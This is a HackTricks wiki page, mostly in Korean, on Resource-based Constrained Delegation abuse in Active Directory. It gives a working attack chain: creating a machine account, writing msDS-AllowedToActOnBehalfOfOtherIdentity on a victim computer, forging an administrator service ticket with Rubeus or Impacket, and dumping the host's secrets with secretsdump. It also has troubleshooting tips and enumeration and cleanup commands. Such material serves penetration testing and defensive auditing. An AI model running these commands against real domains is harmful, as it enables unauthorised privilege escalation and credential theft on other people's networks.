Resource-based Constrained Delegation

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Basics of Resource-based Constrained Delegation

์ด๊ฒƒ์€ ๊ธฐ๋ณธ Constrained Delegation์™€ ์œ ์‚ฌํ•˜์ง€๋งŒ ๋Œ€์‹  ๊ฐ์ฒด์— ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ, ๋ฆฌ์†Œ์Šค ๊ธฐ๋ฐ˜ ์ œ์•ฝ ์œ„์ž„์€ ์–ด๋–ค ์‚ฌ์šฉ์ž๊ฐ€ ๊ทธ๊ฒƒ์— ๋Œ€ํ•ด ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ฒฝ์šฐ, ์ œ์•ฝ ๊ฐ์ฒด๋Š” _msDS-AllowedToActOnBehalfOfOtherIdentity_๋ผ๋Š” ์†์„ฑ์„ ๊ฐ€์ง€๋ฉฐ, ์ด๋Š” ๊ทธ ๊ฐ์ฒด์— ๋Œ€ํ•ด ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๋Š” ์‚ฌ์šฉ์ž์˜ ์ด๋ฆ„์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

์ด ์ œ์•ฝ ์œ„์ž„๊ณผ ๋‹ค๋ฅธ ์œ„์ž„ ๊ฐ„์˜ ๋˜ ๋‹ค๋ฅธ ์ค‘์š”ํ•œ ์ฐจ์ด์ ์€ ๊ธฐ๊ณ„ ๊ณ„์ •์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ๊ถŒํ•œ(GenericAll/GenericWrite/WriteDacl/WriteProperty/etc)์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๋Š” **msDS-AllowedToActOnBehalfOfOtherIdentity**๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค (๋‹ค๋ฅธ ํ˜•ํƒœ์˜ ์œ„์ž„์—์„œ๋Š” ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์ด ํ•„์š”ํ–ˆ์Šต๋‹ˆ๋‹ค).

New Concepts

์ œ์•ฝ ์œ„์ž„์—์„œ๋Š” ์‚ฌ์šฉ์ž์˜ userAccountControl ๊ฐ’ ๋‚ด์— ์žˆ๋Š” TrustedToAuthForDelegation ํ”Œ๋ž˜๊ทธ๊ฐ€ S4U2Self๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐ ํ•„์š”ํ•˜๋‹ค๊ณ  ์–ธ๊ธ‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ๊ทธ๊ฒƒ์€ ์™„์ „ํžˆ ์‚ฌ์‹ค์ด ์•„๋‹™๋‹ˆ๋‹ค.
์‹ค์ œ๋กœ๋Š” ๊ทธ ๊ฐ’์ด ์—†๋”๋ผ๋„ ์„œ๋น„์Šค(SPN์ด ์žˆ๋Š” ๊ฒฝ์šฐ)๋ผ๋ฉด ์–ด๋–ค ์‚ฌ์šฉ์ž์— ๋Œ€ํ•ด์„œ๋„ S4U2Self๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, **TrustedToAuthForDelegation**๊ฐ€ ์žˆ์œผ๋ฉด ๋ฐ˜ํ™˜๋œ TGS๋Š” Forwardable์ด ๋˜๊ณ , ๊ทธ ํ”Œ๋ž˜๊ทธ๊ฐ€ ์—†์œผ๋ฉด ๋ฐ˜ํ™˜๋œ TGS๋Š” Forwardable์ด ์•„๋‹™๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ S4U2Proxy์—์„œ ์‚ฌ์šฉ๋˜๋Š” TGS๊ฐ€ Forwardable์ด ์•„๋‹ ๊ฒฝ์šฐ, ๊ธฐ๋ณธ ์ œ์•ฝ ์œ„์ž„์„ ์•…์šฉํ•˜๋ ค๊ณ  ํ•˜๋ฉด ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ๋ฆฌ์†Œ์Šค ๊ธฐ๋ฐ˜ ์ œ์•ฝ ์œ„์ž„์„ ์•…์šฉํ•˜๋ ค๊ณ  ํ•˜๋ฉด ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

Attack structure

์ปดํ“จํ„ฐ ๊ณ„์ •์— ๋Œ€ํ•ด ์“ฐ๊ธฐ ๋™๋“ฑ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ ํ•ด๋‹น ๋จธ์‹ ์—์„œ ํŠน๊ถŒ ์•ก์„ธ์Šค๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฏธ ํฌ์ƒ ์ปดํ“จํ„ฐ์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ๋™๋“ฑ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค.

  1. ๊ณต๊ฒฉ์ž๋Š” SPN์ด ์žˆ๋Š” ๊ณ„์ •์„ ํƒ€๋ฝ์‹œํ‚ค๊ฑฐ๋‚˜ (โ€œService Aโ€) ํ•˜๋‚˜๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ํŠน๋ณ„ํ•œ ๊ถŒํ•œ ์—†์ด๋„ ๋ชจ๋“  _๊ด€๋ฆฌ ์‚ฌ์šฉ์ž_๋Š” ์ตœ๋Œ€ 10๊ฐœ์˜ ์ปดํ“จํ„ฐ ๊ฐ์ฒด(MachineAccountQuota)๋ฅผ ์ƒ์„ฑํ•˜๊ณ  SPN์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๋Š” ๋‹จ์ˆœํžˆ ์ปดํ“จํ„ฐ ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•˜๊ณ  SPN์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  2. ๊ณต๊ฒฉ์ž๋Š” ํฌ์ƒ ์ปดํ“จํ„ฐ(ServiceB)์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ๊ถŒํ•œ์„ ์•…์šฉํ•˜์—ฌ ๋ฆฌ์†Œ์Šค ๊ธฐ๋ฐ˜ ์ œ์•ฝ ์œ„์ž„์„ ๊ตฌ์„ฑํ•˜์—ฌ ServiceA๊ฐ€ ํ•ด๋‹น ํฌ์ƒ ์ปดํ“จํ„ฐ(ServiceB)์— ๋Œ€ํ•ด ๋ชจ๋“  ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.
  3. ๊ณต๊ฒฉ์ž๋Š” Rubeus๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Service A์—์„œ Service B๋กœ์˜ ์ „์ฒด S4U ๊ณต๊ฒฉ(S4U2Self ๋ฐ S4U2Proxy)์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด๋•Œ Service B์— ๋Œ€ํ•œ ํŠน๊ถŒ ์•ก์„ธ์Šค๊ฐ€ ์žˆ๋Š” ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.
    1. S4U2Self (ํƒ€๋ฝ์‹œํ‚ค๊ฑฐ๋‚˜ ์ƒ์„ฑํ•œ SPN์—์„œ): ๊ด€๋ฆฌ์ž์—๊ฒŒ TGS๋ฅผ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค (Forwardable์ด ์•„๋‹˜).
    2. S4U2Proxy: ์ด์ „ ๋‹จ๊ณ„์˜ Forwardable์ด ์•„๋‹Œ TGS๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํฌ์ƒ ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•œ ๊ด€๋ฆฌ์ž์˜ TGS๋ฅผ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค.
    3. Forwardable์ด ์•„๋‹Œ TGS๋ฅผ ์‚ฌ์šฉํ•˜๋”๋ผ๋„ ๋ฆฌ์†Œ์Šค ๊ธฐ๋ฐ˜ ์ œ์•ฝ ์œ„์ž„์„ ์•…์šฉํ•˜๊ณ  ์žˆ์œผ๋ฏ€๋กœ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.
    4. ๊ณต๊ฒฉ์ž๋Š” ํ‹ฐ์ผ“์„ ์ „๋‹ฌํ•˜๊ณ  **์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•˜์—ฌ ํฌ์ƒ ServiceB์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋„๋ฉ”์ธ์˜ _MachineAccountQuota_๋ฅผ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

๊ณต๊ฒฉ

์ปดํ“จํ„ฐ ๊ฐ์ฒด ์ƒ์„ฑ

**powermad**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋„๋ฉ”์ธ ๋‚ด์— ์ปดํ“จํ„ฐ ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

๋ฆฌ์†Œ์Šค ๊ธฐ๋ฐ˜ ์ œ์•ฝ ์œ„์ž„ ๊ตฌ์„ฑ

activedirectory PowerShell ๋ชจ๋“ˆ ์‚ฌ์šฉ

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

ํŒŒ์›Œ๋ทฐ ์‚ฌ์šฉํ•˜๊ธฐ

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Performing a complete S4U attack (Windows/Rubeus)

๋จผ์ €, ์šฐ๋ฆฌ๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ 123456๋กœ ์ƒˆ๋กœ์šด ์ปดํ“จํ„ฐ ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ–ˆ์œผ๋ฏ€๋กœ, ํ•ด๋‹น ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ ํ•ด์‹œ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

์ด๊ฒƒ์€ ํ•ด๋‹น ๊ณ„์ •์— ๋Œ€ํ•œ RC4 ๋ฐ AES ํ•ด์‹œ๋ฅผ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค.
์ด์ œ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

Rubeus์˜ /altservice ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•œ ๋ฒˆ ์š”์ฒญํ•จ์œผ๋กœ์จ ๋” ๋งŽ์€ ์„œ๋น„์Šค์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ํ‹ฐ์ผ“์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

Caution

์‚ฌ์šฉ์ž๋Š” โ€œ์œ„์ž„ํ•  ์ˆ˜ ์—†์Œโ€œ์ด๋ผ๋Š” ์†์„ฑ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ์ด ์†์„ฑ์ด True๋กœ ์„ค์ •๋˜์–ด ์žˆ์œผ๋ฉด, ํ•ด๋‹น ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ด ์†์„ฑ์€ bloodhound ๋‚ด์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Linux ๋„๊ตฌ: Impacket์„ ์‚ฌ์šฉํ•œ ์—”๋“œ ํˆฌ ์—”๋“œ RBCD (2024+)

Linux์—์„œ ์ž‘์—…ํ•˜๋Š” ๊ฒฝ์šฐ, ๊ณต์‹ Impacket ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ „์ฒด RBCD ์ฒด์ธ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# 1) Create attacker-controlled machine account (respects MachineAccountQuota)
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!'

# 2) Grant RBCD on the target computer to FAKE01$
#    -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!'

# 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service
impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123'

# 4) Use the ticket (ccache) against the target service
export KRB5CCNAME=$(pwd)/Administrator.ccache
# Example: dump local secrets via Kerberos (no NTLM)
impacket-secretsdump -k -no-pass Administrator@victim.domain.local

๋…ธํŠธ

  • LDAP ์„œ๋ช…/LDAPS๊ฐ€ ๊ฐ•์ œ๋˜๋Š” ๊ฒฝ์šฐ, impacket-rbcd -use-ldaps ...๋ฅผ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค.
  • AES ํ‚ค๋ฅผ ์„ ํ˜ธํ•˜์‹ญ์‹œ์˜ค; ๋งŽ์€ ํ˜„๋Œ€ ๋„๋ฉ”์ธ์ด RC4๋ฅผ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค. Impacket๊ณผ Rubeus๋Š” ๋ชจ๋‘ AES ์ „์šฉ ํ๋ฆ„์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.
  • Impacket์€ ์ผ๋ถ€ ๋„๊ตฌ์— ๋Œ€ํ•ด sname(โ€œAnySPNโ€)์„ ์žฌ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ํ•ญ์ƒ ์˜ฌ๋ฐ”๋ฅธ SPN์„ ์–ป์œผ์‹ญ์‹œ์˜ค (์˜ˆ: CIFS/LDAP/HTTP/HOST/MSSQLSvc).

์ ‘๊ทผ

๋งˆ์ง€๋ง‰ ๋ช…๋ น์ค„์€ ์™„์ „ํ•œ S4U ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๊ณ  TGS๋ฅผ ๊ด€๋ฆฌ์ž์—์„œ ํ”ผํ•ด์ž ํ˜ธ์ŠคํŠธ์˜ ๋ฉ”๋ชจ๋ฆฌ๋กœ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค.
์ด ์˜ˆ์—์„œ๋Š” ๊ด€๋ฆฌ์ž์—๊ฒŒ์„œ CIFS ์„œ๋น„์Šค์— ๋Œ€ํ•œ TGS๊ฐ€ ์š”์ฒญ๋˜์—ˆ์œผ๋ฏ€๋กœ **C$**์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ls \\victim.domain.local\C$

๋‹ค์–‘ํ•œ ์„œ๋น„์Šค ํ‹ฐ์ผ“ ๋‚จ์šฉ

์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์„œ๋น„์Šค ํ‹ฐ์ผ“์— ๋Œ€ํ•ด ์—ฌ๊ธฐ์—์„œ ์•Œ์•„๋ณด์„ธ์š”.

์—ด๊ฑฐ, ๊ฐ์‚ฌ ๋ฐ ์ •๋ฆฌ

RBCD๊ฐ€ ๊ตฌ์„ฑ๋œ ์ปดํ“จํ„ฐ ์—ด๊ฑฐ

PowerShell (SID๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด SD๋ฅผ ๋””์ฝ”๋”ฉ):

# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
Import-Module ActiveDirectory
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } |
ForEach-Object {
$raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity"
$sd  = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0
$sd.DiscretionaryAcl | ForEach-Object {
$sid  = $_.SecurityIdentifier
try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value }
[PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask }
}
}

Impacket (ํ•œ ๋ช…๋ น์–ด๋กœ ์ฝ๊ฑฐ๋‚˜ ํ”Œ๋Ÿฌ์‹œํ•˜๊ธฐ):

# Read who can delegate to VICTIM
impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!'

Cleanup / reset RBCD

  • PowerShell (์†์„ฑ ์ง€์šฐ๊ธฐ):
Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
# Or using the friendly property
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null
  • Impacket:
# Remove a specific principal from the SD
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!'
# Or flush the whole list
impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!'

Kerberos ์˜ค๋ฅ˜

  • KDC_ERR_ETYPE_NOTSUPP: ์ด๋Š” kerberos๊ฐ€ DES ๋˜๋Š” RC4๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋„๋ก ๊ตฌ์„ฑ๋˜์–ด ์žˆ์œผ๋ฉฐ, RC4 ํ•ด์‹œ๋งŒ ์ œ๊ณตํ•˜๊ณ  ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. Rubeus์— ์ตœ์†Œํ•œ AES256 ํ•ด์‹œ(๋˜๋Š” rc4, aes128 ๋ฐ aes256 ํ•ด์‹œ๋ฅผ ๋ชจ๋‘ ์ œ๊ณต)๋ฅผ ๊ณต๊ธ‰ํ•˜์‹ญ์‹œ์˜ค. ์˜ˆ: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
  • KRB_AP_ERR_SKEW: ์ด๋Š” ํ˜„์žฌ ์ปดํ“จํ„ฐ์˜ ์‹œ๊ฐ„์ด DC์˜ ์‹œ๊ฐ„๊ณผ ๋‹ค๋ฅด๋ฉฐ kerberos๊ฐ€ ์ œ๋Œ€๋กœ ์ž‘๋™ํ•˜์ง€ ์•Š์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.
  • preauth_failed: ์ด๋Š” ์ฃผ์–ด์ง„ ์‚ฌ์šฉ์ž ์ด๋ฆ„ + ํ•ด์‹œ๊ฐ€ ๋กœ๊ทธ์ธ์— ์‹คํŒจํ–ˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ํ•ด์‹œ๋ฅผ ์ƒ์„ฑํ•  ๋•Œ ์‚ฌ์šฉ์ž ์ด๋ฆ„์— โ€œ$โ€œ๋ฅผ ๋„ฃ๋Š” ๊ฒƒ์„ ์žŠ์—ˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local)
  • KDC_ERR_BADOPTION: ์ด๋Š” ๋‹ค์Œ์„ ์˜๋ฏธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
    • ๋‹น์‹ ์ด ๊ฐ€์žฅํ•˜๋ ค๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์›ํ•˜๋Š” ์„œ๋น„์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค (๊ฐ€์žฅํ•  ์ˆ˜ ์—†๊ฑฐ๋‚˜ ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์ด ์—†๊ธฐ ๋•Œ๋ฌธ)
    • ์š”์ฒญํ•œ ์„œ๋น„์Šค๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค (winrm์— ๋Œ€ํ•œ ํ‹ฐ์ผ“์„ ์š”์ฒญํ–ˆ์ง€๋งŒ winrm์ด ์‹คํ–‰๋˜๊ณ  ์žˆ์ง€ ์•Š์€ ๊ฒฝ์šฐ)
    • ์ƒ์„ฑ๋œ fakecomputer๊ฐ€ ์ทจ์•ฝํ•œ ์„œ๋ฒ„์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ์žƒ์—ˆ์œผ๋ฉฐ, ์ด๋ฅผ ๋‹ค์‹œ ๋ถ€์—ฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
    • ๋‹น์‹ ์ด ๊ณ ์ „ KCD๋ฅผ ๋‚จ์šฉํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค; RBCD๋Š” ๋น„์ „๋‹ฌ ๊ฐ€๋Šฅํ•œ S4U2Self ํ‹ฐ์ผ“๊ณผ ํ•จ๊ป˜ ์ž‘๋™ํ•˜๋Š” ๋ฐ˜๋ฉด, KCD๋Š” ์ „๋‹ฌ ๊ฐ€๋Šฅํ•œ ๊ฒƒ์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค.

๋…ธํŠธ, ๋ฆด๋ ˆ์ด ๋ฐ ๋Œ€์•ˆ

  • LDAP๊ฐ€ ํ•„ํ„ฐ๋ง๋œ ๊ฒฝ์šฐ AD ์›น ์„œ๋น„์Šค(ADWS)์—์„œ RBCD SD๋ฅผ ์ž‘์„ฑํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฐธ์กฐ:

Adws Enumeration

  • Kerberos ๋ฆด๋ ˆ์ด ์ฒด์ธ์€ ์ข…์ข… RBCD๋กœ ๋๋‚˜๋ฉฐ, ํ•œ ๋‹จ๊ณ„์—์„œ ๋กœ์ปฌ SYSTEM์„ ๋‹ฌ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์‹ค์šฉ์ ์ธ ์—”๋“œ ํˆฌ ์—”๋“œ ์˜ˆ์ œ๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ